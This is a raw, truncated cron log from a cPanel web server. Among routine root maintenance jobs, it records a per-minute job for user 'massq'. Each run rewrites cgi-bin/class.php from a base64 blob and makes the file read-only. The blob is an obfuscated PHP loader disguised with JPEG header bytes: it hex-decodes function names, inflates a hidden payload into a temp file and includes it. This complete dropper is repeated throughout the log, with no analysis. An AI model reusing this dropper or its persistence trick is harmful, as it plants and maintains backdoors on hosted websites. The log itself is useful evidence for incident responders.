Aug 30 16:29:01 server CROND[27751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:29:01 server CROND[27752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:30:01 server CROND[28246]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:30:01 server CROND[28247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:30:01 server CROND[28251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:30:01 server CROND[28252]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:30:01 server CROND[28257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:30:01 server CROND[28259]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 16:30:01 server CROND[28255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:30:01 server CROND[28260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:30:01 server CROND[28256]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:31:01 server CROND[29097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:31:01 server CROND[29098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:31:01 server CROND[29099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:32:01 server CROND[29478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:32:01 server CROND[29476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:32:01 server CROND[29477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:33:01 server CROND[30211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:33:01 server CROND[30212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:33:01 server CROND[30213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:34:01 server CROND[30596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:34:01 server CROND[30597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:34:01 server CROND[30598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:35:01 server CROND[31078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:35:01 server CROND[31080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:35:01 server CROND[31083]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 16:35:01 server CROND[31086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:35:01 server CROND[31102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:35:01 server CROND[31098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:35:01 server CROND[31100]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 16:35:01 server CROND[31099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:35:01 server CROND[31101]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 16:36:01 server CROND[31969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:36:01 server CROND[31970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:36:01 server CROND[31971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:37:01 server CROND[32370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:37:01 server CROND[32371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:37:01 server CROND[32372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:38:01 server CROND[301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:38:01 server CROND[302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:38:01 server CROND[303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:39:01 server CROND[720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:39:01 server CROND[722]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 16:39:01 server CROND[721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 16:39:01 server CROND[723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 16:40:01 server CROND[1317]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 16:40:01 server CROND[1318]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 16:40:01 server CROND[1319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 16:40:01 server CROND[1327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 16:40:01 server CROND[1329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 16:40:01 server CROND[1332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 